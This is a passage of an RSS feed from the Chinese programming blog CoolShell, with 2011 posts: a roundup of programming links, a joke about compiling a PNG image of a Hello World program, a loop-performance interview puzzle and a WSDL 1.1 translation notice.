Sort</a>”。</li>\n</ul>\n<ul>\n<li>说到“奇技淫巧”和算法，这里有一个文章向你展示了C语言中使用位操作可能完成的各种算法，很有意思。请参看 &#8211; “<a href=\"http://aggregate.ee.engr.uky.edu/MAGIC/\" target=\"_blank\">The Aggregate Magic Algorithms</a>”</li>\n</ul>\n<ul>\n<li>这里有篇文章教你如何取得一个<a href=\"http://www.productivity501.com/harvard-masters-degree/6463/\" target=\"_blank\">在线的哈佛大学的硕士学位</a>，文章中说了一些相关的事宜，包括一些收费情况，并且展示了一张文凭。这里有一个网页说明了<a href=\"http://blog.markwshead.com/911/harvard-online-masters-degree-in-software-engineering/\" target=\"_blank\">哈佛软件工程学位</a>（Software Engineering）的所需要学习的科目，比如：Java和分布式计算，分布式/企业级计算，设计模式和Java，通讯协议，高级数据网络，Web开发，计算理论，Perl实践，Unix系统编程……我不知道我们的国家各个大学的硕士在学什么，因为我没有读过硕士，但好像现在的计算机研究生只是导师用来挣钱的免费资源，而且，实在不知道研究生在校研究什么。不管怎么样，从这看来，我们的大学好像并没有教给学生计算机的技术。比如在“<a title=\"如何学好C语言\" href=\"https://coolshell.cn/articles/4102.html\" target=\"_blank\">如何学好C语言</a>”和“<a title=\"如何学好C++语言\" href=\"https://coolshell.cn/articles/4119.html\" target=\"_blank\">如何学好C++语言</a>”中我提到的那些书，那些才是大学里应该学的。我国的教育还真不是一般的落后，不过你不妨试试哈佛的在线学位。</li>\n</ul>\n<p><span id=\"more-4220\"></span></p>\n<ul>\n<li>关于网上的电子书，以前本站介绍过一 个<a title=\"免费电子书列表\" href=\"https://coolshell.cn/articles/2775.html\" target=\"_blank\">免费电子书列表</a>，这里再推荐一个网站，上面有很多很多很不错的计算机科学方面的电子书，当然，都是英文的。<a href=\"http://www.sciencebooksonline.info/computer-science.html\" target=\"_blank\">http://www.sciencebooksonline.info/computer-science.html</a>。我知道你对英文发憷，但是，朋友，你一定要学好英文啊，这不仅仅只是为了学好计算机啊。</li>\n</ul>\n<ul>\n<li>还记得本站的“<a title=\"64位平台C/C++开发注意事项\" href=\"https://coolshell.cn/articles/3512.html\" target=\"_blank\">64位平台开发的注意事项</a>”吗？Intel Software Network上有这样一篇文章其收集了一些在64位平台上经常出现的错的，图文并茂的，相当的不错，强力推荐给大家 &#8211; “<a href=\"http://software.intel.com/en-us/articles/collection-of-examples-of-64-bit-errors-in-real-programs/\" target=\"_blank\">A Collection of Examples of 64-bit Errors in Real Programs</a>”</li>\n</ul>\n<ul>\n<li>你爱好汇编语言吗？如果你是汇编的痴迷者，那么mac.com上的<a href=\"http://homepage.mac.com/randyhyde/webster.cs.ucr.edu/index.html\">这个列表</a>对你很有意义了。里面的相关文章非常不错哦。而这里有一个<a href=\"http://www.duntemann.com/assembly.html\" target=\"_blank\">Step by Step的x86汇编编程教程</a>。</li>\n</ul>\n<ul>\n<li>还记得那篇“UI和UX的差别”吗？呵呵。这里有一个网站，给了你30+条UX用户体验的建议，我觉得非常不错，转给大家<a href=\"http://uxmyths.com/\">http://uxmyths.com/</a></li>\n</ul>\n<ul>\n<li>想在Visual Studio 2010下编写Python吗？那么，向你介绍这个微软官方的插件<a href=\"http://pytools.codeplex.com/\" target=\"_blank\">Python  Tools for Visual Studio</a>。你还可以在VS中调试你的Python代码。挺不错的。</li>\n</ul>\n<ul>\n<li>在VS里开发Python，那么就可以使用Eclipse编写Android程序，这里有一篇教程教你 &#8211; <a href=\"http://www.smashingmagazine.com/2011/03/28/get-started-developing-for-android-with-eclipse-reloaded/\" target=\"_blank\">Get Started Developing For Android With Eclipse, Reloaded</a></li>\n</ul>\n<ul>\n<li>说到了Android，必然要提一提iOS。想学iOS编程吗？这里有一篇教程很不错，如果你是一个什么也不懂的初学者，你不妨看看这篇文章“<a href=\"http://designthencode.com/scratch/\" target=\"_blank\">Build iOS App from Scrach</a>”</li>\n</ul>\n<ul>\n<li>查JDK是不是有点不好查？这里有一个网站可以方便地查找JDK和Android的API &#8211; <a href=\"http://www.kiwidoc.com/\" target=\"_blank\">http://www.kiwidoc.com</a>，我觉得很不错哦。</li>\n</ul>\n<ul>\n<li>不知道你是不是一个怀旧的人，你是否还记得以前用C语言开发Web的时光呢？我记得我97-98年的时候学过用C开发web应用，觉得挺难学的，我还没有完全搞懂，就出现了ASP，PHP……。这两天看到一篇 <a href=\"http://www.tutorialspoint.com/cplusplus/cpp_web_programming.htm\" target=\"_blank\">C++ Web Programming</a>，讲得真是很系统啊，从处理HTTP Header，到处理表单和上传文件。看完后，感觉有点坐着时光机器回到大学时的感觉。呵呵。</li>\n</ul>\n<ul>\n<li>说到Web编程，现在的Web编程和以前很不一样了。你觉得未来的Web编程的技术会是什么样的？NoSQL? 服务器端的Javascript? 各种像Amazon的EC2或S3的云计算平台？更新更强大的开发框架？HTML 5/CSS 3？这里有一篇文章你可以去看看 &#8211; “<a href=\"http://net.tutsplus.com/articles/general/7-exciting-web-development-trends-for-2011/\">7 Exciting Web Development Trends for 2011</a>”.</li>\n</ul>\n<ul>\n<li>无论Web编程到了什么时候，安全问题永远都是你需要注意的。这里有一篇文章“<a href=\"http://code.google.com/intl/zh-CN/edu/submissions/daswani/index.html\" target=\"_blank\">What Every Web Programmer Needs To Know About Security</a>” &#8211;  每一个Web程序员都应该知道的安全问题。</li>\n</ul>\n<ul>\n<li>再推荐两个关于WebGL的游戏演示，一个是3D的比较好玩的有点<a href=\"http://cycleblob.com/\" target=\"_blank\">像贪吃蛇一样的游戏</a>，另一个是<a href=\"http://nicolas-bonnel.github.com/WARPG/index.html\" target=\"_blank\">RPG式的游戏</a>，第三人称视角，看上去很不错。</li>\n</ul>\n<ul>\n<li>这里有20款图标，<a href=\"http://www.tutorialcadet.com/20-user-interface-icon-sets-for-developers/\" target=\"_blank\">http://www.tutorialcadet.com/20-user-interface-icon-sets-for-developers/</a>，也许会对你的UI开发有帮助。wikipedia上也有一些<a href=\"http://commons.wikimedia.org/wiki/Comparison_of_icon_sets\" target=\"_blank\">免费的图标</a>。</li>\n</ul>\n<ul>\n<li>在以前的“<a title=\"一些有意思的贴子和工具\" href=\"https://coolshell.cn/articles/3480.html\" target=\"_blank\">一些资源介绍</a>”的文章中介绍过<a href=\"http://mikeos.berlios.de/write-your-own-os.html\" target=\"_blank\">一篇教程</a>教你用x86的汇编做一个操作系统， 这里又有一篇文章向你展示了一个最最简单的操作系统内核，这个操作系统叫做<a href=\"http://www.retroprogramming.com/2011/03/itsy-os-simple-preemptive-switcher.html\" target=\"_blank\">Itsy-OS Kernel</a>，你可以看看。</li>\n</ul>\n<ul>\n<li>你还记得Google在四月一日愚人节那天搞的那个<a href=\"http://mail.google.com/mail/help/motion.html\" target=\"_blank\">Google Gmail Motion</a>吗？用你的body Language写邮件？呵呵，不过，某人使用微软的Kinect做到了，视频在这里：<a href=\"http://www.youtube.com/watch?v=Lfso7_i9Ko8\" target=\"_blank\">http://www.youtube.com/watch?v=Lfso7_i9Ko8</a>。项目主页在这里：<a href=\"http://projects.ict.usc.edu/mxr/faast/\">http://projects.ict.usc.edu/mxr/faast/</a>。</li>\n<li>不知道你看过电影《创战纪》了吗？我个人觉得电影很一般。不过你想知道里面的一些特效是用什么样的技术怎么做的吗？呵呵，其中的一个程序员写了一篇博文 &#8211; “<a href=\"http://jtnimoy.net/workviewer.php?q=178\" target=\"_blank\">Tron Legacy</a>”，我看到了Unix, C++等。这篇文章很不错。</li>\n</ul>\n<p>好的，就这么多，也欢迎你分享你所看到的和听到的东西。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"一些有意思的算法代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_title\">一些有意思的算法代码</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/9886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"二叉树迭代器算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9886.html\" class=\"wp_rp_title\">二叉树迭代器算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4220.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>我有一个Hello World的C++程序编译不过</title>\n\t\t<link>https://coolshell.cn/articles/4170.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4170.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 02 Apr 2011 06:33:57 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4170</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在StackOverflow上有这样一个贴子，楼主说，我有下面这样的一个C++程序，为什么编译不通过啊。其让我想起了以前的这两个帖子《编程真难啊》和《给我一个序...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4170.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4170.html\">我有一个Hello World的C++程序编译不过</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在StackOverflow上有这样<a href=\"http://stackoverflow.com/questions/5508110/why-is-this-program-erroneously-rejected-by-three-c-compilers\" target=\"_blank\">一个贴子</a>，楼主说，我有下面这样的一个C++程序，为什么编译不通过啊。其让我想起了以前的这两个帖子《<a title=\"编程真难啊\" href=\"https://coolshell.cn/articles/1391.html\" target=\"_blank\">编程真难啊</a>》和《<a title=\"给我一个序列号\" href=\"https://coolshell.cn/articles/1693.html\" target=\"_blank\">给我一个序列号</a>》。<strong>仅以此篇文章祝大家假期快乐吧</strong>。</p>\n<figure style=\"width: 535px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"   \" title=\"hello world 程序\" src=\"http://i.stack.imgur.com/JQXWL.png\" alt=\"hello world 程序\" width=\"535\" height=\"214\" /><figcaption class=\"wp-caption-text\">hello world 程序</figcaption></figure>\n<p style=\"text-align: left;\">楼主还给出了相关的编译出错的信息（相信你一看就明白问题在哪里了，你应该还会发出一声“靠”！！！）</p>\n<p>先是用Visual C++ 2010编译</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">c:\\dev&gt;cl /nologo helloworld.png\ncl : Command line warning D9024 : unrecognized source file type &#039;helloworld.png&#039;, object file assumed\nhelloworld.png : fatal error LNK1107: invalid or corrupt file: cannot read at 0x5172</pre>\n<p>再用G++ 4.5.2编译</p>\n<p><span id=\"more-4170\"></span></p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">c:\\dev&gt;g++ helloworld.png\nhelloworld.png: file not recognized: File format not recognized\ncollect2: ld returned 1 exit status</pre>\n<p>再用clang编译</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">c:\\dev&gt;clang++ helloworld.png\nhelloworld.png: file not recognized: File format not recognized\ncollect2: ld returned 1 exit status\nclang++: error: linker (via gcc) command failed with exit code 1 (use -v to see invocation)</pre>\n<p style=\"text-align: left;\">不过，最强大的，有人居然给出了一个fix，靠！<br />\n（下面的图片是一个4M大的gif动画，演示了整个过程，下载可能需要一定的时间。）</p>\n<figure style=\"width: 570px\" class=\"wp-caption aligncenter\"><a href=\"http://i.imgur.com/QlGpd.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"  \" title=\"hello world 的解决方案\" src=\"http://i.imgur.com/QlGpd.gif\" alt=\"hello world 的解决方案\" width=\"570\" height=\"252\" /></a><figcaption class=\"wp-caption-text\">hello world 的解决方案 （图片有点大4M，请耐心等待下载）</figcaption></figure>\n<p>真是BT啊，呵呵。<strong>仅以此篇文章祝大家假期快乐吧</strong>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4170.html\">我有一个Hello World的C++程序编译不过</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4170.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>36</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>又一个有趣的面试题</title>\n\t\t<link>https://coolshell.cn/articles/4162.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4162.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 02 Apr 2011 03:22:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Puzzle]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4162</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>大家还记得前些天的那个火柴棍式的面试题吗？很有趣吧。下面是我今天在StackExchange上看到的一个有趣的面试题。大家不妨一起来思考一下。问题如下—— 有两...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4162.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4162.html\">又一个有趣的面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>大家还记得前些天的那个<a title=\"“火柴棍式”程序员面试题\" href=\"https://coolshell.cn/articles/3961.html\" target=\"_blank\">火柴棍式的面试题</a>吗？很有趣吧。下面是我今天在StackExchange上看到的一个<a href=\"http://programmers.stackexchange.com/questions/64132/interesting-interview-question\" target=\"_blank\">有趣的面试题</a>。大家不妨一起来思考一下。问题如下——</p>\n<p>有两个相同功能代码如下，<strong>请在在A，B，C是什么的情况下，请给出三个原因case 1比case 2快，还有三个原因case 2会比case 1要执行的快。</strong>（不考虑编译器优化）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nfor (i=0; i&lt;N; ++i){\n    A;\n    B;\n    C;\n}</pre>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nfor (i=0; i&lt;N; ++i){\n    A;\n}\nfor (i=0; i&lt;N; ++i){\n    B;\n}\nfor (i=0; i&lt;N; ++i){\n    C;\n}</pre>\n<p>我的第一个反应是——</p>\n<p><span id=\"more-4162\"></span></p>\n<ul>\n<li>case1 要快一些，因为只有一个i++的i&lt;N的操作，而case 2却有三个，这在点上，case 1就比case 2要快。</li>\n<li>case2如果要快的话，有一个原因是，A, B, C其中一个需要去先获得一个资源（比如一个锁），在case1下，每次都要去拿这个资源，而case2下，只需要拿一次然后。但这个可能是不对的，因为我无法想出一个相同的语句块放在case 1中会和放在case 2中有差别。（不过可能比较接近了）</li>\n</ul>\n<p>继续思考：这个题有点像是“<strong>同步和异步</strong>”的问题，case 1是同步，case 2是异步，所以，异步快于同步，也许可以从这个方向出发，写出A, B, C的语句块。</p>\n<p>不过，其要三个原因啊。<strong>各位，你们有想法吗</strong>？</p>\n<p><strong>&#8212;-更新 1&#8212;-</strong></p>\n<p>刚才在twitter上与人讨论，发现又有一种情况，case 2要比case 1要快。比如，A, B, C分别访问是不同的内存块（数组），那么case 1就得在不同的内存块上来回切换寻址，而case2则可以连续地访问内存块。访问连续的内存效率要高。尤其是三块大内存。</p>\n<p><strong>&#8212;-更新 2&#8212;</strong></p>\n<p>正如本贴评论中所说的，CPU的cache也是其中一个因素。大家对底层知识了解的都很不错啊。赞一个。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"“火柴棍式”程序员面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_title\">“火柴棍式”程序员面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"打印质数的各种算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_title\">打印质数的各种算法</a></li><li ><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"输出从1到1000的数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_title\">输出从1到1000的数</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/10478.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"C++面试中string类的一种正确写法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10478.html\" class=\"wp_rp_title\">C++面试中string类的一种正确写法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4162.html\">又一个有趣的面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4162.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>71</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>WSDL 1.1 中文规范</title>\n\t\t<link>https://coolshell.cn/articles/4131.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4131.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Fri, 01 Apr 2011 00:30:21 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[企业应用]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[WSDL]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4131</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>WSDL规范目前最新的版本是2.0 ，但是目前大部分还是按1.1的版本进行使用，而且1.1的内容看上去比2.0也简单些，所以我就翻译了这个版本。 作为一种《炒作...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4131.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4131.html\">WSDL 1.1 中文规范</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>WSDL规范目前最新的版本是2.0 ，但是目前大部分还是按1.1的版本进行使用，而且1.1的内容看上去比2.0也简单些，所以我就翻译了这个版本。</p>\n<p>作为一种《<a title=\"那些炒作过度的技术和概念\" href=\"https://coolshell.cn/articles/3609.html\">炒作过度的技术和概念</a>》的一类，WEB Service的确是太过重量级，对于小型的应用，还是因该避免去使用xml和SOAP这些技术。但是在企业级的应用，WEB Service已经开始成为了一种常态，所以对其有一定了解或多或少都是有一些好处的。</p>\n<p>当然，通过读规范来学习一门技术的方法，从来都不是一种好的学习方法，规范只是配合你学习的参考。而且WSDL1.1规范中笔误太多，笔者就发现了两处，都一一做了修正。</p>\n<p>原文的地址在：<a href=\"http://www.w3.org/TR/wsdl\">http://www.w3.org/TR/wsdl</a> ，学习WSDL，需要有一定XML，XML Schema XSD，SOAP的相关知识，请在阅读时特别注意。</p>\n<p>另外WSDL1.1是一个宽泛的规范，所有的语法都以非正式的形式出现，而且为了满足WEB Service 扩展性的需求，也不可能定义出详尽的语法，请在阅读时特别注意。</p>\n<p>我的翻译版本以word形式提供，请要转载的同学们别把酷壳logo去掉的，转载请注明出处。</p>\n<p>由于个人水平有限，翻译难免出现错误。还请读者海涵。</p>\n<p>下载：<a href=\"https://coolshell.cn/wp-content/uploads/2011/03/WSDL-中文规范1.1.doc\">WSDL 中文规范1.1</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1145.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"程序员犯的非技术错误(Top 5)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1145.html\" 